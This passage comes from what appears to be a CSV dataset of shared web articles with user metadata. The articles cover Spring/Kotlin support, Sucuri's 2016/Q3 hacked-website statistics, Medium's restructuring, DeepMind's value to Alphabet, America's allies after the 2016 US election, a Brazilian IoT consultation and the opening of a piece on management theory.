Kotlin multiline String with interpolation, as demonstrated in this kotlin-script-templating project. This could allow you to write this kind of templates with full autocompletion and refactoring support in your IDE: This feature is still work in progress, but I am collaborating with the Kotlin team to tentatively make it production ready with nested template and i18n support on both MVC and Reactive sides for Spring Framework 5.0 GA. Conclusion The more I write Spring Boot applications with Kotlin, the more I feel these 2 technologies share the same mindset and allow you to write applications more efficiently with expressive, short and readable code, and Spring Framework 5 Kotlin support is a significant step towards combining these technologies in a natural, simple and powerful way. Kotlin can be used to write annotation-based Spring Boot applications , but will also be a good fit with the new kind of functional and reactive applications that Spring Framework 5.0 will enable. Kotlin team did a great job to fix most almost all the pain points we reported, so big thanks to them. The upcoming Kotlin 1.1 release is expected to also fix KT-11235 in order to allow specifying array annotation attribute single value without arrayOf() . The main remaining issue you will face is probably KT-14984 hat will require specifying explicitly lambda type (like Supplier { } or HandlerFunction { } where just specifying { } should be enough. Feel free to test Spring Framework 5.0 Kotlin support by going to start.spring.io and generating a Spring Boot 2.0.0 (SNAPSHOT) project and send us your feedback here or in the #spring channel of Kotlin Slack . You can also contribute the Kotlin extensions you need ;-)",en
1483615325,CONTENT SHARED,-8314629309720421219,3609194402293569455,2836247268716655754,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://blog.sucuri.net/2017/01/hacked-website-report-2016q3.html,Hacked Website Report - 2016/Q3,"Today we are proud to release our quarterly Hacked Website Report for 2016/Q3. This report is based on data collected and analyzed by the Sucuri Remediation Group (RG), which includes the Incident Response Team (IRT) and the Malware Research Team (MRT). The data presented is based on the analysis of over 8,000 infected websites. This report compares data from our 2016/Q1 and 2016/Q2 reports. We enjoy sharing these insights with the hope that they will continue to help website owners strengthen their security posture. CMS Analysis Similar to what we saw in 2016 - Q1 / Q2, the three leading affected CMS platforms were WordPress (74%) , Joomla! (17%) , and Magento (6%) . As we've mentioned before, this does not imply these platforms are more or less secure than others. Often the compromises analyzed had little, if anything, to do with the core of the CMS application itself, but more with improper deployment, configuration, and overall maintenance by the webmasters. Out-of-Date CMS at Point of Infection In this section we assessed the percentage of CMS installations that were out-of-date at the point of infection. A CMS was considered out-of-date if it was not on the latest recommended security version or had not patched the environment with available security updates at the time Sucuri was engaged to perform incident response services . This quarter we noticed a 6% increase in out-of-date, vulnerable versions of WordPress installations at the point of infection. Drupal also experienced a 2% increase from Q2 to Q3. Similar to prior quarters, Magento (94%) and Joomla! (84%) websites were mostly out-of-date, and vulnerable, at the point of infection. Both Joomla! and Magento though saw a 1% and 2% decrease compared to prior quarters. We share these as general observations, they are not meant to dictate the state of a CMS being more or less secure than others as there are a number of contributing factors. Further details are explained in the report. WordPress Analysis The WordPress platform contributed to 74% of our sampling. With this in mind, we dive deeper into our data related to WordPress. Unfortunately, due to data corruption we were unable to include the plugin distribution, but hope to reintroduce it next quarter. The top three WordPress plugins involved in website hacks continue to be TimThumb, Revslider, and Gravity Forms . This does not mean there are not others; it does mean that in the aggregate, no one plugin, beyond these three, has a footprint greater than 1% of the total infections. Although the top three plugins remained the same, we saw an improvement in Revslider, dropping 1.5% to 8.5% , and in GravityForms, dropping 2% to 4% (a total of 4.5% year to date). The total number of infected WordPress installations as a result of these three platforms has dropped significantly this year, from 25% in Q1 to 18% in Q3 . The continued decrease is expected as more website owners and hosts continue to proactively patch out of date environments. Perhaps the most disturbing dataset is the lack of change in TimThumb - likely due to the fact that many websites are still unaware that the script is on their site. In many ways, Revslider suffers from the same issue, where many website owners are unaware they have it installed as part of a theme. The TimThumb performance to date might be a roadmap of what we can expect from RevSlider in the coming years. Blacklist Analysis We continued our analysis of blacklists, which have the ability to adversely affect website owners. If you have been affected by a blacklist, learn how to remove a blacklist warning. Having a warning on your site by any one of the many authorities can adversely affect your brand and business economics. Approximately 15% of the infected websites were blacklisted (a 3% decrease from Q2). This indicates that approximately 85% of the thousands of infected websites we analyzed this quarter were freely distributing malware (without being blacklisted). These findings highlight the importance of continuous monitoring of your web property beyond traditional means like Google and Bing webmaster tools. Malware Families Understanding malware families is a crucial aspect of our research; it provides us the necessary insights to better understand the Tactics, Techniques and Procedures (TTP) cyber criminals are employing. Our research over the past quarter includes analyzing the various infection trends , specifically how they correlate to our malware families. We found that 72% of all compromises had a PHP based backdoor hidden within the site this quarter and approximately 37% of all infection cases are misused for SEO spam campaigns (either through PHP, database injections or .htaccess redirects). We also saw a substantial increase in mailer scripts (12%) being employed as part of email Spam campaigns, and a 10% decrease in malware distribution. Hacked Website Report - TL;DR Here are a few highlights from the report: WordPress continues to lead the infected websites we worked on ( at 74% ). The top three plugins affecting WordPress continue to be Gravity Forms, TimThumb, and RevSlider . WordPress installations that were out of date at the point of infection increased from 55% in Q2 to 61% in Q3. Both Joomla! and Magento continue to lead the pack with out-of-date vulnerable installations at the point of infection. The blacklist telemetry showed a 3% reduction in sites being blacklisted, increasing the number of infected websites that are going undetected by blacklist engines to 85% . SEO spam continues to be an important issue at 37% . There was a sharp 12% increase in mailer scripts and a 10% decrease in malware distribution. A new dataset was introduced this quarter that depicted which files bad actors are modifying most consistently with each incident: index.php ( 25% ), header.php ( 20% ), and .htaccess ( 10% ) The report is available both on our site and in PDF format . We truly hope that you find these insights valuable. We will continue to expand on the data we collect and report on, but as usual, if you have recommendations let us know. We no longer support comments on our blogs. If you'd like to continue the conversation, engage with us via Twitter at @sucurisecurity and @sucurilabs . If you have recommendations or questions that require more than 140 characters, please send us an email at info@sucuri.net .",en
1483616270,CONTENT SHARED,7526977287801930517,-3643155458357242906,8781579964260038140,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",MG,BR,HTML,https://blog.medium.com/renewing-mediums-focus-98f374a960be?gi=ba5c05166373,Renewing Medium's focus,"We've decided to make some major changes at Medium. I'll start with the hard part: As of today, we are reducing our team by about one third - eliminating 50 jobs, mostly in sales, support, and other business functions. We are also changing our business model to more directly drive the mission we set out on originally. Obviously, this is a tough thing to do, made tougher by the immense respect and love we have for these people who have helped make Medium what it is today. We reached this decision when Medium's management team came together to review the last year and take a hard look at our business - where we are and where we're headed. While we could continue on our current path - and there is a business case for doing so - we decided that we risk failing on our larger, original mission if we don't make some proactive changes while we have the momentum and resources to do so. In terms of momentum, 2016 was our best year yet. Key metrics, such as readers and published posts were up approximately 300% year on year. And we witnessed important stories published on Medium - from world-famous leaders to unknown individuals - on a daily basis. We're proud of Medium's role in promoting intelligent viewpoints and new ideas no matter who they're from, becoming the default outlet for thoughtful people who have something to say about the world. In other ways, however, we feel we're falling short. Our vision, when we started in 2012, was ambitious: To build a platform that defined a new model for media on the internet. The problem, as we saw it, was that the incentives driving the creation and spread of content were not serving the people consuming it or creating it - or society as a whole. As I wrote at the time, ""The current system causes increasing amounts of misinformation...and pressure to put out more content more cheaply - depth, originality, or quality be damned. It's unsustainable and unsatisfying for producers and consumers alike.... We need a new model. "" We set out to build a better publishing platform - one that allowed anyone to offer their stories and ideas to the world and that helped the great ones rise to the top. In 2016, we made big investments in teams and technology aimed at attracting and migrating commercial publishers to Medium. And in order to get these publishers paid, we built out and started selling our first ad products. This strategy worked in terms of driving growth, as well as improving the volume and consistency of great content. Some of the web's best publishers are now on Medium, and we're happy to work with them every day. We also saw interest from many big brands and promising results from several content marketing campaigns on the platform. However, in building out this model, we realized we didn't yet have the right solution to the big question of driving payment for quality content. We had started scaling up the teams to sell and support products that were, at best, incremental improvements on the ad-driven publishing model, not the transformative model we were aiming for. To continue on this trajectory put us at risk - even if we were successful, business-wise - of becoming an extension of a broken system. Upon further reflection, it's clear that the broken system is ad-driven media on the internet. It simply doesn't serve people. In fact, it's not designed to. The vast majority of articles, videos, and other ""content"" we all consume on a daily basis is paid for - directly or indirectly - by corporations who are funding it in order to advance their goals. And it is measured, amplified, and rewarded based on its ability to do that. Period. As a result, we get...well, what we get. And it's getting worse. That's a big part of why we are making this change today. We decided we needed to take a different - and bolder - approach to this problem. We believe people who write and share ideas should be rewarded on their ability to enlighten and inform, not simply their ability to attract a few seconds of attention. We believe there are millions of thinking people who want to deepen their understanding of the world and are dissatisfied with what they get from traditional news and their social feeds. We believe that a better system - one that serves people - is possible. In fact, it's imperative. So, we are shifting our resources and attention to defining a new model for writers and creators to be rewarded, based on the value they're creating for people. And toward building a transformational product for curious humans who want to get smarter about the world every day. It is too soon to say exactly what this will look like. This strategy is more focused but also less proven. It will require time to get it right, as well as some different skills. Which is why we are taking these steps today and saying goodbye to many talented people. To stay efficient, we are shutting our offices in New York and Washington D.C. (though some people will continue to work remotely from those locales). And we will be parting ways with some of our executives who were brought on to scale these teams. The vast majority of the product development and engineering teams will remain, both to support the Medium you love and to bring it to the next level. This is certainly one of the hardest things I've done in my years as a founder and CEO. I want to sincerely thank my management team who has helped think through and implement this process with great care. And, of course, all the team members to whom we are saying goodbye. I'm really proud of the people who have chosen to join Medium over the years and of the culture we've built. The quality and success of the Medium platform is due to their efforts. I also want to mention Medium's board and investors, the best I've ever worked with, who have been incredibly supportive and helpful throughout. We know the path ahead will not be easy. But we are excited about our challenge. Thank you for your support of Medium. Look for even more great stories and important ideas in the year ahead.",en
1483677425,CONTENT SHARED,3750772607644674028,2416280733544962613,7833475850187327120,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",NJ,US,HTML,http://www.economist.com/news/business/21711946-ai-firms-main-value-alphabet-new-kind-algorithm-factory-what-deepmind-brings,What DeepMind brings to Alphabet,"DEEPMIND'S office is tucked away in a nondescript building next to London's Kings Cross train station. From the outside, it doesn't look like something that two of the world's most powerful technology companies, Facebook and Google, would have fought to acquire. Google won, buying DeepMind for £400m ($660m) in January 2014. But why did it want to own a British artificial-intelligence (AI) company in the first place? Google was already on the cutting edge of machine learning and AI, its newly trendy cousin. What value could DeepMind provide? That question has become a little more pressing. Before October 2015 Google's gigantic advertising revenues had cast a comfortable shade in which ambitious, zero-revenue projects like DeepMind could shelter. Then Google conjured up a corporate superstructure called Alphabet, slotting itself in as the only profitable firm. For the first time, other businesses had their combined revenues broken out from Google's on the balance-sheet, placing them under more scrutiny (see article ). But understanding DeepMind's worth is not a simple financial question. Its value is deeper than that. DeepMind's most immediate benefit to Google and Alphabet is the advantage it gives in the strategic battle that technology companies are waging over AI (see chart). It hoovers up talent, keeping researchers away from competitors like Facebook, Microsoft and Amazon. The Kings Cross office already houses about 400 computer scientists and neuroscientists, and there is talk of expanding that to 1,000. Another boost to the mother ship comes in the form of prestige. DeepMind has reached the cover of Nature , a highly regarded academic journal, twice since it was acquired. Gigantic copies of the relevant covers adorn the walls of the office lobby. The first was for a video-game-playing AI programme the second for one that learned to play the ancient Asian board game of Go. Named AlphaGo for its parent, that software went on to make headlines around the world when it beat Lee Sedol, a South Korean champion, in March 2016 (the match is pictured above). DeepMind's horizons stretch far beyond talent capture and public attention, however. Demis Hassabis, its CEO and one of its co-founders, describes the company as a new kind of research organisation, combining the long-term outlook of academia with ""the energy and focus of a technology startup""-to say nothing of Alphabet's cash. He founded it in 2010, along with Mustafa Suleyman and Shane Legg. Mr Legg and Mr Hassabis met as neuroscience researchers at University College, London; Mr Suleyman is a childhood friend of Mr Hassabis's. The firm's overall mission, as Mr Hassabis puts it, is to ""solve intelligence"". This would allow the firm to create multifunctional, ""general"" artificial intelligence that can think as broadly and effectively as a human. Being bought by Google had several attractions. One was access to the technology firm's computing power. Another was Google's profitability; a weaker buyer would have been more likely to require DeepMind to make money. This way Mr Hassabis can focus on research rather than the detail of running a firm. And by keeping DeepMind in London, at a safe distance from Google's Silicon Valley base in Mountain View, he can retain more control over the operation. Were he to succeed in creating a general-purpose AI, that would obviously be enormously valuable to Alphabet. It would in effect give the firm a digital employee that could be copied over and over again in service of multiple problems. Yet DeepMind's research agenda is not-or not yet-the same thing as a business model. And its time frames are extremely long. Mr Hassabis says the company is following a 20-year road map. DeepMind aims to invent new kinds of AI algorithms, he adds, that are inspired by the way the human brain works. This explains the firm's large number of neuroscientists. Mr Hassabis claims that seeking inspiration from the brain sets his firm far apart from other machine-learning research units and in particular from ""deep learning"", the powerful branch of machine-learning that is being used by the Google Brain unit. Even if DeepMind never achieves human-level (or indeed, superhuman) artificial intelligence, however, the learning software that it creates along the way can still benefit other Alphabet businesses. This has already happened. In July the company announced that its learning software had found a way to reduce the quantity of electricity that is needed to cool Google data centres, by two-fifths. The software learned about the task by crunching data-centre operation logs, and then optimised the process by running it over and over again in a simulation. DeepMind is also applying its AI research to solve problems in its own right. Mr Suleyman, who leads these efforts, has expressed an ambition for DeepMind to help manage energy infrastructure, hone health-care systems and improve access to clean water, in return for revenue streams. The company has already started on health care. Its first paid work came in November in the form of a five-year deal with the Royal Free London, an NHS Foundation Trust, to process 1.7m patient records. Earlier this year it gained access to two data sets from other London hospitals: one million retina scans that it can mine and thereby identify early signs of degenerative eye conditions, and head and neck cancer imagery which, fed into its models, will allow DeepMind's AI to distinguish between healthy and cancerous tissues. Da Neu Ron Ron Skilful programmers and powerful computers are crucial to this applied AI business. But access to data about the real-world environment is also vital. When systems like hospitals, electricity grids and factories are targeted for improvement using AI and machine learning, data about their specific operations are needed. Alphabet, of course, holds huge volumes of data that can be mined for these purposes. But DeepMind will have to acquire lots more in each of the fields it aims to examine. In the case of a recent project it was involved in on lip-reading, for example, it was the acquisition of an unprecedentedly large data set that made it a success. A group of researchers at the University of Oxford, headed by Andrew Zisserman, a computer-vision researcher, led the work. The BBC gave the researchers hundreds of thousands of hours of newscaster footage, in the absence of which they would not have been able to train their AI systems. Mr Hassabis downplays the importance of data acquisition to DeepMind's future. He claims that it is enough for human engineers to build simulations of the problem to be solved; then DeepMind unleashes learning agents within them. But that is not how most machine-learning systems that are currently in operation work. AlphaGo itself first learned on a database of millions of individual moves from 160,000 human-played Go games, before iteratively training against itself and improving. But if DeepMind does need to hoover up lots of personal information, it will have to deal with consumer concerns about corporate access to data. If it can solve these problems, however, DeepMind will hold immense value as something entirely new for Alphabet: an algorithm factory. That would go far beyond simply being the technology giant's long-term AI research outfit and talent-holding pool. The data that DeepMind processes can remain the property of the organisations they come from (which should help to allay concerns about privacy), but the software that learns from that data will belong to Alphabet. DeepMind may not ever make significant revenue of its own by applying AI programmes to complex problems. But the knowledge it sends into learning software from those same sets of data may justify the bidding war that brought it into Alphabet's compass.",en
1483677839,CONTENT SHARED,1220948775534529013,2416280733544962613,7833475850187327120,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",NJ,US,HTML,http://www.economist.com/news/international/21711881-donald-trumps-victory-has-shaken-countries-depend-america-security-and,America's allies are preparing for a bumpy ride,"SURPRISED and shaken by Donald Trump's victory, America's allies are hoping for the best while desperately seeking guidance on what his presidency might mean for them. Mr Trump's statements on the campaign trail were contradictory and often disturbing. Many countries see the 70-year-old Pax Americana as a source of security and prosperity. That the president-elect might place little value on this system of alliances and rules is as incredible to many as it is alarming. Since the election, Mr Trump has made some moves to calm such fears. Foreign leaders who have spoken with him report that he was friendly and largely reassuring. Before the election he had suggested that Japan, for example, should either pay America a lot more for its defence or build its own nuclear forces. But after meeting him on November 17th Shinzo Abe, Japan's prime minister, declared himself ""convinced that Mr Trump is a leader in whom I can have confidence"". Katsuyuki Kawai, a senior aide to Mr Abe, said that members of Mr Trump's transition team had told him that not all of the president-elect's pre-election remarks should be taken literally. South Korea, too, was identified during the campaign as a free rider that could be left to defend itself from its nuclear-armed neighbour, north of the 38th parallel. But in a telephone call with its (soon-to-be-ousted) president, Park Geun-hye, Mr Trump said that he would uphold America's security alliance with South Korea and maintain a ""strong, firm"" defence posture in the region. Mr Trump had also described NATO as ""obsolete"" and suggested that America would come to the aid of a threatened member only if it had paid its dues. But in a call with the security alliance's secretary-general, Jens Stoltenberg (who diplomatically thanked him for having raised the issue of inadequate European defence spending), Mr Trump spoke of NATO's ""enduring importance"" and discussed how the alliance was adapting to new threats, in particular, countering terrorism. The only one of America's big allies publicly to hint at disquiet has been Germany's chancellor, Angela Merkel. Before speaking to Mr Trump, she said that Germany and America were ""bound by common values"" such as democracy, freedom and respect for the rule of law. It was on that basis that the two countries, and leaders, could co-operate, she said. Her statement was interpreted by some as a willingness to champion those values, should Mr Trump fail to. Amid all the mixed signals, the truth is that America's allies have no real idea what they are dealing with. What, for example, is India's prime minister, Narendra Modi, to make of the call between Mr Trump and Pakistan's prime minister, Nawaz Sharif? America's relationship with Pakistan is severely strained by its security service's covert support for the Afghan Taliban and other jihadist groups. But according to the transcript published by the astonished Pakistanis, Mr Trump called Mr Sharif ""a terrific guy"", offered to come to his ""fantastic country, fantastic place of fantastic people"" and declared himself willing ""to play any role you want me to play to address and find solutions to the outstanding problems"". To Indian ears that sounded like a highly unwelcome proposal to mediate in the two countries' territorial dispute over Kashmir. The view from Trump Tower Mr Trump's world view is shaped by a set of beliefs that he has held since the 1980s, argues Thomas Wright of the Brookings Institution, a think-tank in Washington. These are quite unlike those held by any American president since the second world war. ""He believes that the US has been taken for a sucker by other countries because of trade deals and security commitments,"" says Mr Wright. By studying Mr Trump's public statements over the past 30 years, he concludes that the president-elect thinks that America has no strategic interest in military engagement in Asia or maintaining troops in Europe. In the Middle East, he has talked about forcing Kuwait to hand over a quarter of its oil revenues as payment for its security and said that Saudi Arabia ""would not be around"" were it not for ""the cloak of American protection"". Presidents from Jimmy Carter to Barack Obama have lamented the failure of America's allies to pull their weight. But there is a big difference between Mr Trump's views on burden-sharing and those of his predecessors. Mr Obama would have been delighted if every other NATO member honoured its obligation to spend at least 2% of GDP on defence (only Britain, Estonia, Greece and Poland now do; see chart). But what Mr Trump seems to want is that America's allies in the western Pacific and Europe write a cheque to cover the entire cost of keeping American forces on their territory, which he says amounts to ""trillions of dollars"" over the years. Realistically, there is little likelihood of a Trump administration turning these ideas into policies. But a peculiarity of his campaign is causing great uncertainty for America's allies, says Mike Green, a foreign-policy adviser to Mitt Romney during his presidential run who now works at the Centre for Strategic and International Studies (CSIS) in Washington. Usually, the transition from campaign to administration involves the candidate's policy wonks working from his speeches to produce a coherent platform. But Mr Trump had no serious policy advisers before his election, and most of his instincts about foreign policy are ""unexecutable"". Mr Green thinks that the president-elect's inner circle will strive to get as close to his ""original intent"" as possible, but the bureaucracy will push back. In past administrations, the ideologues whom presidents have brought into office with them have tended to disappear over time as their policy preferences collide with reality: Ronald Reagan got through six national-security advisers in eight years. And comfortingly for worried allies, Mr Trump's pick for defence secretary, retired Marine General Jim Mattis, is a soldier-scholar with long experience of fighting alongside partners. He is utterly committed to America's forceful engagement in upholding the liberal international order. Against that, Mr Trump is showing no sign of being weighed down by the dignity of office. His appointment as national-security adviser, retired General Mike Flynn, is a prickly character given to conspiracy theories and Islamophobic rhetoric. And his choice of Rex Tillerson to be secretary of state, announced on December 13th, is disconcerting. The chief executive of ExxonMobil is well-travelled and a consummate dealmaker. But his personal ties with Vladimir Putin, long business relationship with Rosneft (Russia's state-owned oil firm) and opposition to the sanctions imposed on Russia after its invasion of Ukraine are ringing alarm bells in the capitals of NATO members. ""Mr Trump's approach will be 'transactional',"" says Andrew Shearer, a recent Australian national-security adviser now at CSIS. ""His narrative is very much about the cost of alliances. He will want to know how allies are helping US interests."" The biggest unknown, Mr Shearer thinks, is Mr Trump's attitude to China. He clearly wants to go on the offensive on economic issues, but does he see a link between geopolitical assertiveness and the value of allies in helping America achieve its aims? Will Mr Trump's phone call with Taiwan's president, Tsai Ing-wen, on December 2nd create trouble for allies in the region? Mr Trump appeared to question the ""One China"" policy (whereby America has long acknowledged that the governments in Taipei and Beijing both agree that there is only one China, even though neither recognises the other as ruler of it). China reacted furiously. Will China now stop co-operating with America over sanctions relating to North Korea's nuclear programme? And will Mr Trump proceed with his predecessor's plans to base rotational forces in Vietnam and the Philippines as a deterrent to Chinese bullying in the South China Sea? Those were in jeopardy after Mr Obama criticised the murderous anti-drug campaign of Rodrigo Duterte, the Philippines' president. But in a phone call, Mr Trump reportedly had only praise for Mr Duterte, whose utterances are even less restrained than his own. (Mr Duterte has called the pope a ""son of a whore"" and this week boasted of having personally killed suspected drug-dealers, though no one knows if he is bluffing.) America's allies can make some educated guesses about Mr Trump's administration. Curbing jihadist terrorism will be a priority. With General Mattis at the Pentagon and General Flynn urging him on, a more muscular approach to destroying Islamic State (IS) in Syria and Iraq is probable, although what will follow is a mystery. More troops are likely to be sent to Afghanistan to contain the Taliban, though no one knows how many or for how long. Afghans fret that Mr Trump's views on their country have been wildly inconsistent. He once tweeted: ""It is time to get out of Afghanistan. We are building roads and schools for people that hate us."" Later he said that American troops should ""probably"" stay because the state would ""collapse about two seconds after they leave"". ""No one can tell you [what's going to happen],"" says an Afghan official. ""We're very worried,"" says another. Mr Obama's attempt to improve relations with Iran by encouraging would-be reformers is likely to be shelved. Although General Mattis thinks the nuclear deal struck in 2015 worth preserving, he was sacked by Mr Obama from running Central Command (which covers an area from Egypt to Pakistan) because he continued to see Iran as an unrelenting threat that had to be countered. Shouldering the burden Mr Trump will surely insist that America's allies spend more on defence and more towards the cost of maintaining its forces in their countries. The Pentagon will get extra cash, which will go towards a bigger navy and modernised nuclear forces. Both are potentially positive for allies, says Mr Shearer, because they boost deterrence. Despite Mr Trump's remarks during the campaign, the allies who may have least to fear are Japan and South Korea. That is partly because they have a good story to tell, argues Mr Green: ""Their defence budgets are growing and they want to do more."" Japan has loosened the restrictions that had been imposed by its pacifist constitution on contributing to missions that go beyond self-defence. It is playing a bigger role in regional maritime security. South Korea's military spending is rising by 7% a year; it fields half a million well-equipped troops and is investing in a new missile-defence system. Both countries pay around 40% of the cost of hosting American forces (54,000 in the former and 28,500 in the latter). They are also hoping that their commitment to the alliance will be measured not just in dollars but by their willingness to take more risk and responsibility and to build military forces that can operate well with their American allies. According to a South Korean official who has experience of negotiating with the Americans, when the current five-year financial-support agreement comes up for renegotiation in 2018, Mr Trump's concerns about burden-sharing will be taken into account. However, by then North Korea's vile regime may be just a couple of years away from being able to launch a nuclear strike, not only on South Korea but also on Washington. He notes that South Korea is very close to a resurgent Russia, and to an increasingly assertive China. The implication is clear: America's own security interests are more entwined than ever with those of the region, making it a peculiar time to consider scaling back its military presence. Opinion polls suggest that Americans' support for defending South Korea and Japan remains solid, at around 70%. Many Trump voters will also be well aware of the hundreds of thousands of well-paid American jobs in manufacturing created by Japanese and South Korean firms. Backing for NATO, however, is softer. The latest poll by the Pew Research Centre found that just 53% of American voters-and just 43% of Republicans-support the alliance. Since the 1970s, American presidents have periodically inveighed against the ""free riding"" of European allies. The problem became worse in the 1990s in the rush to claim a peace dividend after the end of the cold war, and worse still because of budget-tightening after the 2008 financial crisis. But the oft-quoted number that America's defence budget accounts for 72% of NATO spending is somewhat misleading. It reflects America's global reach, not just what it spends on defending the North Atlantic. Even so, says Mr Stoltenberg, the imbalance is untenable. Germany, which has more budgetary room for manoeuvre than any other NATO country, spends a paltry 1.2% of its GDP on defence. But European complacency has been jolted by Russia's annexation of Crimea, frequent large-scale military exercises by Russian forces close to NATO's border, constant probing of NATO's air defences and Mr Putin's thinly veiled nuclear threats. Last year its defence spending stopped falling; this year it will increase by 3%. Mr Trump's strictures may provide further impetus, says Sandy Vershbow, a former deputy secretary-general of NATO. Next year's NATO summit could provide an opportunity for every member to make a firm commitment to reach the 2% target within five years, with more money being made available to ""project stability"" outside Europe. In his telephone call with Mr Trump, Mr Stoltenberg outlined the ways in which the alliance is adapting to meet new threats, including transnational terrorism, cyber warfare and mass migration, which even a fortress America cannot tackle alone. Sir Nigel Sheinwald, a former British ambassador in Washington, reckons that European allies should frame their arguments to appeal to the new president by pointing out the commercial interest America has in European security and the extent to which the economies of the European Union and America are integrated. If Mr Trump listens to General Mattis, he will be reminded of how America's NATO allies both answered the call and stayed the course in Afghanistan. But the idea of NATO as a ""community of destiny""-an alliance of like-minded people with shared values who stand by each other through thick and thin-is ""unlikely to cut it with Mr Trump"", says Mr Vershbow. He fears that Mr Trump will quickly strike a deal with Mr Putin over Ukraine, which would be ""very divisive"". Some NATO members might go along with it; others would be appalled. America's allies in the Middle East have more to ponder on than they may yet realise. Ken Pollack, a former CIA analyst now at the Brookings Institution, says that they appear ""very confident"" that Mr Trump will be an improvement on Mr Obama: ""He hates Iran; we hate Iran."" The hawkish Israeli prime minister, Binyamin Netanyahu, will applaud any attempt to put Iran back in its box. At least in the short term, America's relationship with Israel will be under less stress: Mr Trump has shown little interest in reviving the moribund peace process with the Palestinians. Egypt and most of the Gulf states will be thrilled if Mr Trump follows through on a promise to designate the Muslim Brotherhood as a terrorist organisation, which would make it easier to justify repressing them. But there should be uneasiness, too, says Jon Alterman, a Middle East analyst at CSIS. Many in the region are uncomfortable about the way Mr Trump and General Flynn characterise Islam. Mr Trump has said that ""Islam hates us""; General Flynn once tweeted that ""Fear of Muslims is RATIONAL..."". Much though the Saudis would welcome a tougher stance towards Iran, their widely criticised and inconclusive military intervention in Yemen has given them reason to doubt their ability to manage the consequences of a forceful Iranian pushback. Mr Pollack predicts that if Mr Trump does indeed team up with Russia to destroy IS in Syria, as he has suggested he will, the result would be to hand victory in Syria's civil war to its president, Bashar al-Assad, and his main backer, Iran. And what of Iraq, where any prospect of creating order from chaos will depend on America thwarting Iran's strategy of turning it into a Shia fief? Jordan, too, will require support to survive the destabilising consequences of the war in Syria. The idea of just ""taking swings"" at jihadists will not work, says Mr Pollack. Mr Trump may dislike the region even more than Mr Obama, ""but it sucks you back in"". Mr Trump has indicated that with America no longer needing Middle East oil it can leave the Saudis to look after themselves. At the very least, he will demand they stump up even more if American military support is to continue. But if Mr Trump's carbon-friendly energy policies keep oil prices low, they may struggle to find the money. To preserve at least the notion of a strategic alliance, Mr Alterman thinks the Saudis' best bet will be to point out what their unique intelligence networks bring to the fight against terrorism. Buckle up! Soon America's allies will be able to stop guessing about the effects of Mr Trump's presidency and start to deal with the reality. They will be able to gauge much from his words and behaviour at the next NATO summit, which may be as early as spring, and the G7 meeting in the summer-assuming, that is, that he shows up. One possibility is that, after all the campaign bluster, Mr Trump turns out not to be particularly interested in foreign policy. Much of the responsibility for managing America's alliances would then fall to General Mattis, Mr Tillerson and congressional leaders of a more traditional conservative bent. The other is that some kind of Trump doctrine emerges-and that it throws America's alliances into turmoil. It is a measure of just how much Mr Trump differs from his predecessors that nobody, perhaps not even the president-elect himself, knows which of the two it will be.",en
1483696940,CONTENT SHARED,6642437212220341339,2279740393166882579,-7851201202289493991,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36",SP,BR,HTML,http://brasscom.org.br/brasscom/Portugues/detNoticia.php?codArea=2&codCategoria=25&codNoticia=1688,Governo abre consulta pública para Plano Nacional de IoT | NOTÍCIAS - Brasscom,"Recentemente o Banco Nacional de Desenvolvimento Econômico e Social, BNDES, juntamente com o Ministério da Ciência, Tecnologia, Inovação e Comunicação, MCTIC, assinaram uma parceria para o Plano Nacional de Internet das Coisas, na qual envolverá, além de um estudo sobre Internet das Coisas, financiado pelo BNDES, a realização de uma Consulta Pública, que teve início dia 12 de dezembro de 2016, e encerrará no dia 16 de janeiro de 2017.",pt
1483712088,CONTENT SHARED,363303724138208407,2416280733544962613,7833475850187327120,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",NJ,US,HTML,http://www.economist.com/news/business/21711909-what-martin-luther-did-catholic-church-needs-be-done-business-gurus-management,Management theory is becoming a compendium of dead ideas,"NEXT year marks the 500th anniversary of the event which, more than any other, gave birth to the modern world: Martin Luther promulgated his 95 theses and called the Catholic church to account for its numerous theological errors and institutional sins. Revisionist historians have inevitably complicated the story (including questioning whether he did actually nail his proposals to the door of All Saints' Church in Wittenberg) but the narrative remains clear. The church was ripe for change. It was sunk in corruption and divorced from the wider life of society. And by unleashing that change, Luther brought the Christian faith, including Roman Catholicism itself, a new lease of life. The similarities between medieval Christianity and the world of management theory may not be obvious, but seek and ye shall find. Management theorists sanctify capitalism in much the same way that clergymen of yore sanctified feudalism. Business schools are the cathedrals of capitalism. Consultants are its travelling friars. Just as the clergy in the Middle Ages spoke in Latin to give their words an air of authority, management theorists speak in mumbo-jumbo. The medieval clergy's sale of indulgences, by which believers could effectively buy forgiveness of their sins, is echoed by management theorists selling fads that will solve all your business problems. Lately, another similarity has emerged. The gurus have lost touch with the world they seek to rule. Management theory is ripe for a Reformation of its own. Management theories are organised around four basic ideas, repeated ad nauseam in every business book you read or business conference you attend, that bear almost no relation to reality. The first idea is that business is more competitive than ever. Skim popular titles such as ""The End of Competitive Advantage"" (by Rita Gunther McGrath) or ""The Attacker's Advantage"" (by Ram Charan) and you will be left with the impression of a hyper-competitive world in which established giants are constantly being felled by the forces of disruption. A glance at the numbers (or indeed a trip on America's increasingly oligopolistic airlines) should be enough to expose this as fiction. The most striking business trend today is not competition but consolidation. The years since 2008 have seen one of the biggest-ever bull markets in mergers and acquisitions, with an average of 30,000 deals a year worth 3% of GDP. Consolidation is particularly advanced in America, says a report in 2016 by the Council of Economic Advisers, which also showed how companies engaged in consolidation are enjoying record profits. Technology is high on the list of industries that are concentrating. In the 1990s Silicon Valley was a playground for startups. It is now the fief of a handful of behemoths. A second, and related, dead idea is that we live in an age of entrepreneurialism. Gurus including Peter Drucker and Tom Peters have long preached the virtues of enterprise. Governments have tried to encourage it as an offset to the anticipated decline of big companies. The evidence tells a different story. In America the rate of business creation has declined since the late 1970s. In some recent years more companies 